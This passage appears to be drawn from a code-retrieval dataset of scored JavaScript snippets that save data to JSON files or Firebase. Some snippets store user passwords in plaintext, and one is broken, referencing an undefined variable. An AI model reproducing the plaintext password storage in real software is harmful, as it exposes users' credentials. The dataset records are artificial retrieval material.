doc.data().currentThread;\n console.log(\"current thread ID: \" + currentThreadID);\n\n //Variable that stores the user inputed post title and body\n //from the input field in tpostCreation.html.\n let name = document.getElementById(\"inputTitle\").value.toUpperCase();\n let body = document.getElementById(\"inputBody\").value;\n\n //Navigating to the current group, thread and post collection,\n //setting the post title and body to variables storing user input.\n db.collection(\"group\").doc(currentGroupID).collection(\"thread\")\n .doc(currentThreadID).collection(\"post\")\n .add({\n \"name\": name,\n \"body\": body,\n \"likes\": 0\n });\n console.log(\"Updated Databse\");\n });\n } else {\n console.log(\"no user is signed in\");\n }\n });\n}", "title": "" }, { "docid": "0c2bac9fa1000755ca0d39ca3c0b2391", "score": "0.5607474", "text": "function updateUserDataBase(users) {\n fs.writeFileSync(\"../database/users/users.json\", JSON.stringify(users, null, 2));\n }", "title": "" }, { "docid": "f6be6e99fd73d47dc8f40ea3d0ccea17", "score": "0.55899894", "text": "function writeJSON(filename, content){\r\n//\tconsole.log(\"-> writeJSON\");\t\t\t\t\r\n\tfs.writeFile(filename, content, function (err) {\r\n\t if (err) throw err;\r\n\t});\r\n\t// console.log(\"- Saved...filename[\"+filename+\"] - content[\"+content+\"]\");\r\n\t// console.log(\"<- writeJSON\");\t\t\t\t\r\n}", "title": "" }, { "docid": "f9041ebdccf0661ebad46b3dfd9298d1", "score": "0.5586696", "text": "saveAll() {\n fs.writeFileSync(DBFILE, JSON.stringify({'users': this._items}))\n }", "title": "" }, { "docid": "08887ad5e5185935a5604366cff260a9", "score": "0.5572749", "text": "commit() {\r\n this.host.overwrite(`${this._path}/package.json`, this.content());\r\n }", "title": "" }, { "docid": "cec5538297b3c6956e43c03c46681168", "score": "0.55694157", "text": "save() {\n if (this.filePath) {\n fs.writeFileSync(this.filePath, jsonView.toString(this.content), \"utf-8\");\n }\n }", "title": "" }, { "docid": "139c6487977b4b0876dd6e037cc6c17d", "score": "0.55628014", "text": "updateJson() {\n let stream = this._fs.createWriteStream(\n this._path, {'encoding': 'utf8'}\n );\n stream.write(JSON.stringify(this._trip, null, 4));\n stream.end();\n }", "title": "" }, { "docid": "c8aa17d39070f72bcd1a94c41b713054", "score": "0.5559246", "text": "updateJsonFile(tasks, res) {\n let json = JSON.stringify(tasks);\n fs.writeFile(\"./database/tasks.json\", json, \"utf8\", function (err, data) {\n res.json({data, message: \"success\", status: res.statusCode});\n });\n }", "title": "" }, { "docid": "a5dccf2e950260d65679651d235f4f73", "score": "0.5545489", "text": "function save(fullname, address, city, zip, phone, date){\n var newUsrRef = signInRef.push();\n newUsrRef.set({\n Full_Name: fullname,\n Address: address, \n City: city,\n Zip: zip,\n Phone: phone,\n Appointment_Date: date\n });\n}", "title": "" }, { "docid": "5f2ba09747dfdecf1bd3a778362c43f5", "score": "0.55260587", "text": "function writeNewPostStr(str)\n{\n var postData = {req: str,};\n\n var newPostKey = firebase.database().ref().child('posts').push().key; //makes a new (anonymous) key that stores the post\n var updates = {};\n updates['/posts/' + newPostKey] = postData;\n\n firebase.database().ref().update(updates);\n}", "title": "" }, { "docid": "b3dcad57735ccff7eb7585bd339f02d6", "score": "0.55232877", "text": "saveReleaseId() {\n const releaseInfoFilename = 'release.json';\n const fullPath = path.join(this.releaseInfoFile, releaseInfoFilename);\n\n fs.writeFileSync(fullPath, JSON.stringify({\n release: this.releaseId,\n date: Date.now(),\n }));\n\n this.log(`release information saved to the ${fullPath}`);\n }", "title": "" }, { "docid": "b015d050d89e5c88d214e33e95cf4acd", "score": "0.551411", "text": "function forceWriteOfUserData(currentUser) {\n database.ref(\"debug/\" + currentUser.uid).set({\n name: \"Tobias Stosius\",\n class: \"bfia5f\",\n teacher: \"Weng\",\n personalevent: {\n SVSitzung: {\n date: \"20.05.2000\",\n time: \"08:00\",\n info: \"Raum D123\",\n description: \"SV-Sitzung\"\n },\n SVSitzung2: {\n date: \"01.05.2001\",\n time: \"10:30\",\n info: \"Raum D122\",\n description: \"SV-Sitzung-2\"\n },\n SVSitzung3: {\n date: \"24.06.2023\",\n time: \"09:45\",\n info: \"Raum B123\",\n description: \"SV-Sitzung-3\"\n }\n },\n fehlzeiten: {\n UID_1: {\n date: \"03.03.2000\",\n lesson: \"Stunde: 1\",\n duration: \"20min\",\n status: \"pending\"\n },\n UID_2: {\n date: \"03.03.2000\",\n lesson: \"Stunde: 3\",\n duration: \"20min\",\n status: \"approved\",\n description: \"Wecker nicht geklingelt\"\n },\n UID_3: {\n date: \"03.03.2000\",\n lesson: \"Stunde: 3\",\n duration: \"20min\",\n status: \"pending\"\n },\n UID_4: {\n date: \"03.03.2000\",\n lesson: \"Stunde: 7\",\n duration: \"20min\",\n status: \"pending\"\n },\n },\n timestamp: Date()\n });\n}", "title": "" }, { "docid": "e401133e43d1624c0a4b177d97c948de", "score": "0.5503918", "text": "function writeNewUserData(password, authId) {\n\n\tfirebase.database().ref().child('users/' + authId).set({\n\t\tcustomList: {\n\t\t\t\"0-Custom\": {\n\t\t\t\tDateRelease : 0,\n\t\t\t\tDescription : false,\n\t\t\t\tExclusive: false,\n\t\t\t\tGameOrigin: false,\n\t\t\t\tImage: false,\n\t\t\t\tName: false,\n\t\t\t\tNumber: false,\n\t\t\t\tRarity: false,\n\t\t\t\tWave: false,\n\t\t\t\tOwned: false\n\t\t\t}\n\t\t}, \n\t\tpassword: password,\n\t\tauthenticationId: authId,\n\t\toriginalList: {\n\t\t\tMario: false, \n\t\t\tPeach: false,\n\t\t\tYoshi: false,\n\t\t\tDonkeyKong: false,\n\t\t\tLink: false,\n\t\t\tFox: false,\n\t\t\tSamus: false,\n\t\t\tWiiFitTrainer: false,\n\t\t\tVillager: false,\n\t\t\tPikachu: false,\n\t\t\tKirby: false,\n\t\t\tMarth: false,\n\t\t\tZelda: false,\n\t\t\tDiddyKong: false,\n\t\t\tLuigi: false,\n\t\t\tLittleMac: false,\n\t\t\tPit: false,\n\t\t\tCaptainFalcon: false,\n\t\t\t\"Rosalina&Luma\": false,\n\t\t\tBowser: false,\n\t\t\tLucario: false,\n\t\t\tToonLink: false,\n\t\t\tSheik: false,\n\t\t\tIke: false,\n\t\t\tShulk: false,\n\t\t\tSonic: false,\n\t\t\tMegaMan: false,\n\t\t\tKingDedede: false,\n\t\t\tMetaKnight: false,\n\t\t\tRobin: false,\n\t\t\tLucina: false,\n\t\t\tWario: false,\n\t\t\tCharizard: false,\n\t\t\tNess: false\n }\n });\n\n}", "title": "" }, { "docid": "ea4fff80d2191f3bd538d7dc32bb6411", "score": "0.5493344", "text": "async function storeNewUsers() {\r\n fs.writeFileSync(\"newUsers.json\", JSON.stringify(newUsers, null, 4));\r\n}", "title": "" }, { "docid": "1e6c93c266ebbbd266cbf7c471ed1a27", "score": "0.54914224", "text": "function storeContactIntoDatabase(e,name,subject,email,message){\n e.preventDefault();\n var db=firebase.database();\n var postkey=db.ref('contacts/').push().key;\n console.log(postkey)\n// var postkey= firebase.database().ref().child('posts').push().key\n var postData={\n name:name,\n subject:subject,\n email:email,\n message:message,\n\n }\n var updates={};\n updates['/contacts/'+ postkey]=postData;\n console.log(\"Saved in database sucessfylly\");\n \n return firebase.database().ref().update(updates);\n\n\n}", "title": "" }, { "docid": "f81a61441e680e06a1b6f68e6461a4b8", "score": "0.54878485", "text": "function postTokenToFirebase() {\n db.collection(\"companies\").doc(name).set({\n name: {name}, //OLD DATA\n date: {date}, certificates: {certificates}, //OLD DATA\n timingsFrom: {timingsFrom}, //OLD DATA\n timingsTo: {timingsTo}, //OLD DATA\n address: {address}, //OLD DATA\n tokensCount: { tokensCount }, //adding Tokens\n estimatedTime: { estimatedTime }, //adding estimated time for this particular comp\n })\n .then(function () {\n console.log(\"Tokens are successfully added!\");\n })\n .catch(function (error) {\n console.error(\"Error adding Tokens: \", error);\n });\n }", "title": "" }, { "docid": "d4baa76b70f44e2352fbfc2dce6ee450", "score": "0.548525", "text": "function saveDb(){\n var username=document.getElementById(\"username\").value;\n var firstName=document.getElementById(\"uname\").value;\n var lastName=document.getElementById(\"lname\").value;\n var email=document.getElementById(\"email\").value;\n var pw=document.getElementById(\"pwd\").value;\n var confirmpw=document.getElementById(\"confirmpwd\").value;\n var ageVal=document.getElementById(\"age\").value;\n var telNoVal=document.getElementById(\"tel\").value;\n var type=\"Gardiant\";\n var Id=document.getElementById(\"pId\").value;\n \n var dbSaverOnee=firebase.database();\n dbSaverOnee.ref(\"User/\"+username).set({fname:firstName,lname :lastName,email :email,Password :pw,ConfirmPassword : confirmpw,Age : ageVal,TelNo : telNoVal,Type : type,PstientID : Id});\n }", "title": "" }, { "docid": "6a28696ed9c0b022881d5f02f9db7dd7", "score": "0.5474889", "text": "function updateFile(){\n fs.writeFile(logFile, objectArrayToString(), (err) => {\n if (err)\n console.log(err);\n else {\n console.log(\"File written successfully\");\n }\n });\n\n}", "title": "" }, { "docid": "ec249586553548df15fac418e33666a8", "score": "0.54666674", "text": "write() {\n const fullPath = `${Config.assetCatalogRoot}/${this.path}/Contents.json`;\n\n fs.writeFile(fullPath, JSON.stringify(this.contents, null, 2), (err) => {\n if (err) {\n console.error(err);\n return;\n }\n // File was created.\n });\n }", "title": "" }, { "docid": "d8631ff49117814577614060867a679b", "score": "0.5466421", "text": "async function storeMembers() {\r\n fs.writeFileSync(\"verifiedMembers.json\", JSON.stringify(verifiedMembers, null, 4));\r\n}", "title": "" }, { "docid": "370e092913c12db489e0f9ee47e7787d", "score": "0.54598737", "text": "function data_push_to_firebase(contactsRef,data_to_push){\n //data_to_push = {'chat_id':chat_id, 'viewer':site_viewer, 'content': input_text, 'timestamp': date_time }\n contactsRef.push(data_to_push)\n\n}", "title": "" }, { "docid": "177654fec231c3708d94d7e94b00b13a", "score": "0.5457242", "text": "function saveDatatoDatabase(Name_text, ImageUrl_text, Bio_text) {\r\n docRef = db.collection(\"Profile\").doc(\"main_profile\");\r\n docRef.set({\r\n nameText: Name_text,\r\n imageUrlText: ImageUrl_text,\r\n bioText: Bio_text\r\n });\r\n\r\n docRef.get().then(function (doc) {\r\n console.log(\"got this far\")\r\n replaceInfo(doc)\r\n });\r\n\r\n}", "title": "" }, { "docid": "44f85a65c767dcaf7518fc9706d48e7b", "score": "0.5452939", "text": "function setUpAccountData(){\n app.db.collection(\"user-settings\").doc(app.user.uid).set({\n isSetupFinished: false\n })\n .then(function() {\n console.log(\"User settings successfully created!\");\n app.db.collection(\"fridges\").doc(app.user.uid).set({\n\n })\n .then(function(){\n console.log(\"User fridge successfully created!\");\n /*app.db.collection(\"fridges/\"+app.user.uid+\"/products\").add({\n\n })\n .then(function(docRef) {\n console.log(\"User products created!: \", docRef.id);\n })\n .catch(function(error) {\n console.error(\"Error adding document: \", error);\n });*/\n })\n .catch(function(error){\n console.error(\"Error writing document: \", error);\n });\n })\n .catch(function(error) {\n console.error(\"Error writing document: \", error);\n });\n }", "title": "" }, { "docid": "76aa8f2818ed4da2f93878b0f434e6c6", "score": "0.54443717", "text": "function updateDb() {\n fs.writeFileSync(\"db/db.json\", JSON.stringify(notes,'\\t'), function (err) {\n if (err) throw err;\n return true;\n });\n}", "title": "" }, { "docid": "a8afc858319c10c74f0025f65bf34064", "score": "0.5441176", "text": "async config(options) {\n\t\tlet dir = process.cwd(),\n\t\t\toutfile;\n\t\tif (options.dest && options.dest!=='-') {\n\t\t\tlet isDir = false;\n\t\t\ttry {\n\t\t\t\tisDir = (await fs.stat()).isDirectory();\n\t\t\t} catch (e) {}\n\t\t\tif (isDir) {\n\t\t\t\tdir = options.dest;\n\t\t\t\toutfile = 'firebase.json';\n\t\t\t}\n\t\t\telse {\n\t\t\t\tdir = path.dirname(options.dest);\n\t\t\t\toutfile = path.basename(options.dest);\n\t\t\t}\n\t\t}\n\n\t\tlet config = JSON.stringify({\n\t\t\t...options.configObj,\n\t\t\tpublic: path.relative(dir, options.configObj.public)\n\t\t}, null, 2);\n\n\t\tif (outfile) {\n\t\t\tawait fs.writeFile(path.resolve(dir, outfile), config);\n\t\t}\n\t\telse {\n\t\t\treturn config;\n\t\t}\n\t}", "title": "" }, { "docid": "c9068f473190bd487ff057c1f9487586", "score": "0.5435173", "text": "function write_to_file(filename, data) {\n const file = {\"last_updated\": current_unix, \"data\": data};\n const jsonString = JSON.stringify(file);\n fs.writeFileSync(\"./Saved_Data/\" + filename, jsonString);\n}", "title": "" }, { "docid": "270273ce171aa3370ad494190d39f911", "score": "0.5428743", "text": "write() {\n let location = this.location;\n delete this.location; // so we don't double-save the data\n if (location) {\n let geofire = new GeoFire(this.ref.parent());\n return geofire.set(this.ref.key(), location)\n .then(ok => { return super.update(); })\n .then(ok => {\n // re-save the location for local access\n this.location = location;\n return this;\n });\n }\n return super.write();\n }", "title": "" }, { "docid": "11b17b320091f32ca553897c52440ab0", "score": "0.54286605", "text": "function writeAccounts(accounts, key) {\n if (typeOf(accounts) === 'undefined') {\n var writethis = '';\n } else {\n console.log('Here you go 1...');\n var JSONstring = constructJSON(accounts);\n console.log('Here you go 3...');\n console.log(JSONstring);\n var nurt = \"\\{ \\\"id\\\": 1 , \\\"description\\\": \\\"gmail\\\" , \\\"username\\\": \\\"mectapus\\\" , \\\"password\\\": \\\"blargh\\\" \\}\"\n var urp = { \"users\": [\n { name: \"Chris\", id: \"4437\" },\n { name: \"Bob\", id: \"2231\" },\n { name: \"Dave\", id: \"6677\" }\n ]\n };\n console.log(nurt);\n var writethis = \"happy\";\n console.log(horse);\n\n // var writethis = CryptoJS.AES.encrypt(horse, key);\n // console.log(writethis);\n }\n storage.setItemSync('accounts', nurt);\n console.log('Wrote data to storage.')\n}", "title": "" }, { "docid": "eeca5125c88c05bdbd9fc93d19cf0ba2", "score": "0.5428418", "text": "function Savebdd(){\r\n fs.writeFile(\"./bdd.json\", JSON.stringify(bdd, null, 4), (err) => {\r\n if (err) message.channel.send(\"une erreur est survenue\");\r\n });\r\n}", "title": "" }, { "docid": "eeca5125c88c05bdbd9fc93d19cf0ba2", "score": "0.5428418", "text": "function Savebdd(){\r\n fs.writeFile(\"./bdd.json\", JSON.stringify(bdd, null, 4), (err) => {\r\n if (err) message.channel.send(\"une erreur est survenue\");\r\n });\r\n}", "title": "" }, { "docid": "f30ffa15c28ee50c022e1b408f2b228a", "score": "0.5425786", "text": "function writeJSONFile(content) {\r\n fs.writeFileSync(\r\n \"users.json\",\r\n JSON.stringify({ users: content }),\r\n \"utf8\",\r\n err => {\r\n if (err) {\r\n console.log(err);\r\n }\r\n }\r\n );\r\n}", "title": "" }, { "docid": "24c13bc86c30b68281cebe8a0aed2ee1", "score": "0.54179984", "text": "write (note) {\n return writeFile (\"db/db.json\", JSON.stringify(note));\n }", "title": "" }, { "docid": "78e181f9babd7030a4c50775f08effc9", "score": "0.5402229", "text": "saveActivities() {\n // use our writeFileAsync utility function to save the activity JSON in the file\n // this will overwrite anything that is already there\n writeFileAsync(this.filePath, this.getActivitesAsJSON(), 'utf8').catch(\n (err) => {\n console.error(err);\n }\n );\n }", "title": "" }, { "docid": "b8aa02d3b78f111c24cca35ab96bb24e", "score": "0.53911257", "text": "function updateDb() {\n fs.writeFile(\"db/db.json\", JSON.stringify(notes, '\\t'), err => {\n if (err) throw err;\n return true;\n });\n }", "title": "" }, { "docid": "27ad895901ccc14179dc1e404092efdf", "score": "0.5390625", "text": "function saveContactInfo(name, email, message) {\n let newContactInfo = contactInfo.push();\n\n //Push object to Firebase DB\n newContactInfo.set({\n Name: name,\n Email: email,\n Message: message,\n });\n}", "title": "" }, { "docid": "76300825dafb787d251f4c07e395cc13", "score": "0.53902304", "text": "function saveToFirebase(){\n aptID = aptID.toString()\n db.collection('products').doc(aptID).set({\n id: aptID,\n sold: sold,\n price: price,\n location: location,\n floor: floor,\n floors: floors,\n rooms: rooms,\n status: status,\n pool: pool,\n yard: yard,\n porch: porch,\n private: private_house,\n images: []\n })\n .then(() => {\n if(imageAsFile === [] ) { \n console.error(`not an image, the image file is a ${typeof(imageAsFile)}`)\n }\n // saving the apartment new images in firebase storage\n for (let i = 0; i < imageAsFile.length; i ++){\n if (imageAsFile[i] !== 0){\n storage.ref(`${aptID}/${imageAsFile[i].name}`).put(imageAsFile[i]).then(() => {\n if (i === imageAsFile.length - 1){\n // go back to view all apartments\n history.push('/products')\n }\n })\n }\n else if (imageAsFile[i] === 0){\n // go back to view all apartments\n history.push('/products')\n }\n } \n })\n .catch((error) => {\n console.error(\"Error writing document: \", error);\n });\n }", "title": "" }, { "docid": "ca94e834b84195dbd7a8212d10b220dd", "score": "0.5381657", "text": "function savedata(n,a,e,f,d,T,s,t){\n var newMessageRef = messagesRef.push();\n newMessageRef.set({\n\n Company_Name:n,\n\n About_Company:a,\n\n email:e,\n\n Field:f,\n\n Duration:d,\n\n Starting_Date:T,\n\n salary:s,\n\n task:t\n \n \n });\n}", "title": "" }, { "docid": "ba57a1f2f335f1981e09e3b9bdf0cb22", "score": "0.5381321", "text": "function writePosts() {\n fs.writeFileSync(getDataFileRelativeToApp(dataFile), JSON.stringify(blogPosts));\n}", "title": "" }, { "docid": "2ec9cfd8d20ee9ae78839b648a329705", "score": "0.53744435", "text": "function addToNotes() {\n const dataJSONAdd = JSON.stringify(notesApp)\n fs.writeFileSync('./db/db.json', dataJSONAdd, err => {\n if (err) throw err;\n return true;\n })\n \n }", "title": "" }, { "docid": "aec1c14d21fe955cb0482858f77eea55", "score": "0.5371418", "text": "saveTurns() {\n let data = {\n lastTurn: this.lastTurn,\n today: this.today,\n tickets: this.tickets,\n lastFourTickets: this.lastFourTickets\n };\n\n let dataString = JSON.stringify(data);\n fs.writeFileSync('./server/data/data.json', dataString);\n\n console.log('System was restarted');\n\n }", "title": "" }, { "docid": "11b1c12ff8900689c53bb5fb408cc932", "score": "0.53610504", "text": "function saveEventInfirebase(e) {\n e.preventDefault();\n let form = mainContainer.querySelector(\".event-form\");\n let formdata = new FormData(form);\n let event = formdata.get(\"event\");\n let description = formdata.get(\"description\");\n let priority = formdata.get(\"priority\");\n let date = form.querySelector(\"#date\").value;\n let time = formdata.get(\"time\");\n if (event === \"\") {\n alert(\"Opps you forgot to mention the event\");\n return;\n }\n\n // Factory function\n const CreateEvent = (Ename, Edesp, Epriority, Edate, Etime) => {\n const getEname = () => Ename;\n const getEdesp = () => Edesp;\n const getEpriority = () => Epriority;\n const getEdate = () => Edate;\n const getEtime = () => Etime;\n\n return { getEname, getEdesp, getEpriority, getEdate, getEtime };\n };\n let ToDo = CreateEvent(event, description, priority, date, time);\n\n eventCountNo++; // Incresing the count of events\n\n // Sending data to the firebase\n\n firebaseDocRefernce\n .set(\n {\n [`Event${eventCountNo}`]: {\n Ename: ToDo.getEname(),\n Edesp: ToDo.getEdesp(),\n Epriority: ToDo.getEpriority(),\n Edate: ToDo.getEdate(),\n Etime: ToDo.getEtime(),\n Estatus: \"pending\",\n },\n eventNumber: eventCountNo,\n },\n { merge: true }\n )\n .catch(function (error) {\n console.error(\"Error writing document\", error);\n });\n\n // removing the form after adding the data to firestore\n form.style.display = \"none\";\n form.reset();\n }", "title": "" }, { "docid": "698b293753b99603106a67a3d80e6cdf", "score": "0.5358009", "text": "function SAVEBIO(){\n //Get the user will be null/false if not logged in\n var user = firebase.auth().currentUser;\n if (user) {\n var datapath = firebase.database().ref('users/' + user.uid);\n var biography = document.getElementById('bioInput').value;\n datapath.update({\n\n bio: biography\n\n }).then(function() {\n console.log('Saving BIO succeeded');\n }).catch(function(error) {\n console.log('Saving BIO failed');\n });\n }\n}", "title": "" }, { "docid": "786ef28bfbdcfc287d340cef9c02fa95", "score": "0.5355655", "text": "function writeData(){\n loadCurrentSchoolYearAndSemester();\n var uidofposter = document.getElementById(\"profileID\").value;\n var nameofposter = document.getElementById(\"profileName\").innerHTML;\n var ts = (Math.round((new Date()).getTime() / 1000));\n var descTs = ts*(-1);\n var postListRef = firebase.database().ref('Posts - ALL');\n var newPostRef = postListRef.push();\n newPostRef.set({\n title: document.getElementById(\"title-announcement\").value,\n content: document.getElementById(\"content-announcement\").value,\n dateASC: ts,\n dateDSC: descTs,\n department:document.getElementById(\"department-announcement\").value,\n SY: localStorage.getItem(\"CurrentSY\"),\n SM: localStorage.getItem(\"CurrentSem\"),\n postedByUID: uidofposter,\n postedByName: nameofposter\n\n \n }).then(function() {\n \n var departTo = document.getElementById(\"department-announcement\").value;\n if(departTo==\"ALL\")\n {\n departTo = \"the whole university\";\n }\n \n createUserLog(\"created an announcement for \"+departTo);\n \n swal({\n title: \"Success!\",\n text: \"Announcement has been posted for \"+departTo,\n icon: \"success\",\n button: \"OK\",\n }).then((answer) => {\n getDataAnnouncements();\n $(\"#addPostModal\").modal('toggle');\n });\n }).catch(function(error) {\n });\n}", "title": "" }, { "docid": "f0779e065da15791811831d0bfa24d38", "score": "0.53477323", "text": "function do_write_file (path) {\n console.info(`Writing: ${path.split(\"/\").slice(-2).join(\"/\")}`)\n cache[path].last_write = Date.now()\n fs.writeFile(path, JSON.stringify(cache[path].json), \"utf8\", err => {\n if (err) {\n logger.log_error(err)\n }\n })\n }", "title": "" }, { "docid": "6d06b246766c8914e62b5656eac0fa21", "score": "0.53428465", "text": "function saveNotification(haze, security, device){\n var newNotificationsRef=notificationsRef.push();\n newNotificationsRef.set({\n haze : haze,\n security : security,\n device : device\n })\n}", "title": "" }, { "docid": "02261da359f7ebecf50b7ed37389382a", "score": "0.5338945", "text": "function saveGeoJson(){ \n // collect all the features from each Category FeatureGroup\n var allFeatures = [];\n drawnItems.eachLayer(buildGeoJSONFromFeatureLayer, allFeatures);\n var json = drawnItems.toGeoJSON(); // To get out 'base geojson'\n json.features = allFeatures; // place all our features into the geojson\n \n document.getElementById(\"JSONBox\").value = JSON.stringify(json);\n jsonid = rootRef.ref('/geojson/').push(json).key;\n var edit = {};\n edit.geojsonid = jsonid;\n edit.user = firebase.auth().currentUser.uid;\n edit.datetime = Date.now();\n edit.note = $('#note').val();\n editID = rootRef.ref('/edit/'+locationID).push(edit).key;\n locRef.update({'currentEdit': editID});\n saveDialog.dialog( \"close\" );\n}", "title": "" }, { "docid": "58203a2d31820f2b147ed9d88b291916", "score": "0.53314567", "text": "function writeJSONFile(filename, content) {\n fs.writeFileSync(filename, JSON.stringify(content), 'utf8', (err) => {\n if (err) {\n //console.log(err)\n }\n })\n}", "title": "" }, { "docid": "3f518528c05f3616d63b995de0940b18", "score": "0.5330766", "text": "function update_str_01() {\n var update_str_01 = new Firebase(URL_firebase + \"str_01\"); \n update_str_01.on(\"value\", function(data) {\n var result = data.val().str_01;\n str_01 = result;\n swfObject.set_str_01(str_01); \n });\n}", "title": "" }, { "docid": "b8a39ee8b9992867aa5f6fcaa70052da", "score": "0.53276336", "text": "function update() {\n main().then((data) => {\n fs.writeFile(\n __dirname + '/../public/books/_books.json',\n JSON.stringify(\n data.sort((a, b) => {\n return a.read.getTime() < b.read.getTime() ? 1 : -1;\n }),\n 0,\n 2\n )\n );\n });\n}", "title": "" }, { "docid": "4cb1ee5032fbdc7a71216a6e434a89a5", "score": "0.5321132", "text": "saveEdit() {\n\n // Get submission key/ID and 'update' fields in firebase\n const submissionKey = this.props.match.params.id;\n this.props.firebase.specifiedRef('Submissions/' + submissionKey).set({\n title: this.state.submission.title,\n downloadURL: this.state.submission.downloadURL,\n email: this.state.submission.email,\n reviewers: this.state.submission.reviewers,\n userID: this.state.submission.userID,\n status: this.state.newStatus,\n deadline: this.state.newDeadline.getTime()\n },\n // Return an error if it fails\n function(error) {\n if (error) {\n // The write failed...\n console.log('write failed');\n } else {\n // Data saved successfully!\n console.log('write success');\n }\n }\n // If successful, write a changes saved message!\n ).then(() => {\n this.props.firebase\n .submission(this.props.match.params.id)\n .once('value', snapshot => {\n this.setState({\n submission: snapshot.val(),\n savedChangesMsg: 'Changes saved!'\n });\n });\n\n\n\n });\n }", "title": "" }, { "docid": "a9b46b74daad9a3b5f88801193c37741", "score": "0.5311049", "text": "function writing(){\n fs.writeFileSync('./output_files/age_wise_data.json', JSON.stringify(age_wise));\n fs.writeFileSync('./output_files/graduates_data.json', JSON.stringify(graduates));\n fs.writeFileSync('./output_files/literate.json', JSON.stringify(education));\n\n}", "title": "" }, { "docid": "4d50f25d2c406d2ba8f68bc2eb06246d", "score": "0.5309611", "text": "function writeUserData(name, email, user) {\n var usersRef = firebase.database().ref('/users');\n usersRef.child(user.uid).orderByChild('email').on('value', function(snapshot) {\n if (snapshot.exists()) {\n // console.log(\"exists\");\n } else {\n // console.log(\"doesn't exist\");\n // var newUserRef = usersRef.push();\n firebase.database().ref('users/' + user.uid).set({\n email: email,\n name: name\n });\n }\n });\n}", "title": "" }, { "docid": "b3eb6b39c465f58b987c79bc35d890b9", "score": "0.5304638", "text": "function saveSkills(target, changeTo) {\r\n\tfirebase.database().ref('users/' + uid + \"/\" + target).set(\r\n\t\tchangeTo\r\n\t);\r\n}", "title": "" }, { "docid": "f1fa13a7466c0b3f496a85111a31734e", "score": "0.53028494", "text": "SaveDocFile()\n {\n var obj = {\n Doctor: []\n }\n for(let i=0;i<this.AssDoc.length;i++)\n {\n obj.Doctor.push(this.AssDoc[i]);\n }\n util.WriteJsonFile('../Files/Output.json',obj);\n }", "title": "" } ]
41e77961d6f231d225c0a3a134eda6aa
PROJECTS LIST ON THE SIDE
[ { "docid": "75a6135ffcc83f7cf525f8c903d47076", "score": "0.67686456", "text": "function createProjectsListNode(projectsList) {\n const projectsListDiv = document.createElement('div');\n projectsListDiv.classList.add('projects-list');\n\n const title = document.createElement('h1');\n title.textContent = \"Projects\";\n title.classList.add('projects-list-header');\n projectsListDiv.append(title);\n\n projectsList.forEach((project, index) => {\n const projectCard = document.createElement('div');\n projectCard.classList.add('project-card');\n\n projectCard.dataset.key = index;\n\n const title = document.createElement('p');\n title.textContent = project.title;\n projectCard.append(title);\n\n projectsListDiv.append(projectCard);\n \n projectCard.addEventListener('click', () => { renderProject(project, projectsList) });\n\n let removeBtn = document.createElement('button');\n removeBtn.textContent = \"--\";\n removeBtn.classList.add('todo-list-remove-btn');\n\n const projectRemoveBtns = projectsListDiv.querySelectorAll('.todo-list-remove-btn');\n projectRemoveBtns.forEach(btn => {\n btn.addEventListener('click', function (e) {\n projectsList.splice(e.target.parentElement.dataset.key, 1);\n renderProjectsList(projectsList);\n (0,_localStorageLogic__WEBPACK_IMPORTED_MODULE_2__.updateLocalStorage)(projectsList);\n });\n });\n \n projectCard.appendChild(removeBtn);\n });\n\n return projectsListDiv;\n}", "title": "" } ]
[ { "docid": "207a3bead669dc34eee87fbe022e6d1c", "score": "0.7460328", "text": "showProjects() { \n\t\tvar content = [];\n\t\tif(!this.user) { \n\t\t\treturn content;\n\t\t}\n\t\tcontent = this.state.projects.map((project) => {\n\t\treturn(\n\t\t\t<div key={project._id} className=\"field has-addons\">\n\t\t\t\t<li className = \"level\" key={project}>{project.name}\n\t\t\t\t\t<div className=\"column is-one-quarter\">\n\t\t\t\t\t <button className=\"button is-danger\" onClick={() =>{\n\t\t\t\t\t \tthis.onRemoveProject(project)\n\t\t\t\t\t \t}}>Leave project\n\t\t\t\t\t </button>\n\t\t\t\t\t</div>\n\t\t\t\t</li> \n\t\t\t</div>\n\t\t\t)\t\t\n\t\t})\n\t\treturn content;\n\t}", "title": "" }, { "docid": "cf01ba3a7f7ffcb3227f35a9fe6a0419", "score": "0.7249576", "text": "function handleProjectList(data) {\n let currData = data[0],\n keys = Object.keys(currData),\n elems = [];\n\n for (let i=0; i<keys.length; ++i) {\n let project = currData[keys[i]],\n dash = new orch.dashboard.ProjectDashboard(project);\n\n elems.push(dash.render());\n dash.collapse();\n registerDashboard(dash);\n\n // Bind the socket to the dashboard so it knows about it\n dash.socket(orch.globals.socket);\n }\n\n $(\"#dashboard\").append(elems);\n }", "title": "" }, { "docid": "830062ad3d817ea0876c41083801348f", "score": "0.7226685", "text": "function displayProjects() {\r\n var projects = window.pmApi.getProjects();\r\n document.getElementById(\"projects\").innerHTML = \"\";\r\n projects.forEach(project => {\r\n createProjectElement(project);\r\n });\r\n}", "title": "" }, { "docid": "97859310ffed7e93311d23b43caecc43", "score": "0.71460354", "text": "function ProjectList(props) {\n var projects = props.projects;\n var cards = projects.map(function (project) {\n return _react.default.createElement(ProjectCard, (0, _extends2.default)({\n key: project._id\n }, project));\n });\n return _react.default.createElement(_firstcutUi.Card.Group, {\n centered: true\n }, cards);\n}", "title": "" }, { "docid": "4a150617789346be22394e5ac22cebc4", "score": "0.7145352", "text": "function showProjects() {\n const projectContainer = document.getElementById(\"project-list\");\n if (projectCounter < 3) {\n let li = document.createElement('li');\n let anchor = document.createElement('a');\n let desc = document.createElement('p');\n anchor.textContent = projectList[projectCounter][0];\n if (projectCounter > 0) {\n anchor.href = projectList[projectCounter][2];\n }\n anchor.classList.add(\"project-links\");\n anchor.target = \"_blank\";\n li.appendChild(anchor);\n desc.textContent = projectList[projectCounter][1];\n li.appendChild(desc);\n projectContainer.appendChild(li)\n }\n projectCounter++;\n if (projectCounter >= 3) {\n let projectButton = document.getElementById(\"project-button\");\n projectButton.style.display = \"none\";\n }\n}", "title": "" }, { "docid": "9de47dc2aaf90e4a23549fbdf3137e98", "score": "0.7133464", "text": "function _createProjects() {\n var projects = [\n {\n id: \"MineSweeper\",\n name: \"Mine Sweeper\",\n title: \"Mine Sweeper Game\",\n desc: \"the nostalgic mine sweeper game with lots of feature\",\n ProjectUrl: \"https://ytavpeer.github.io/Minesweeper/\",\n ImageUrl: \"./img/portfolio/minesweeper2.jpeg\",\n publishedAt: 1611503034000,\n labels: [\"Mine sweeper\", \"nostalgic\", \"game\"]\n },\n {\n id: \"bookStore\",\n name: \"book store\",\n title: \"start rate your books\",\n desc: \"book web site that give you all the new details and rates\",\n ProjectUrl: \"https://ytavpeer.github.io/book-store/.\",\n ImageUrl: 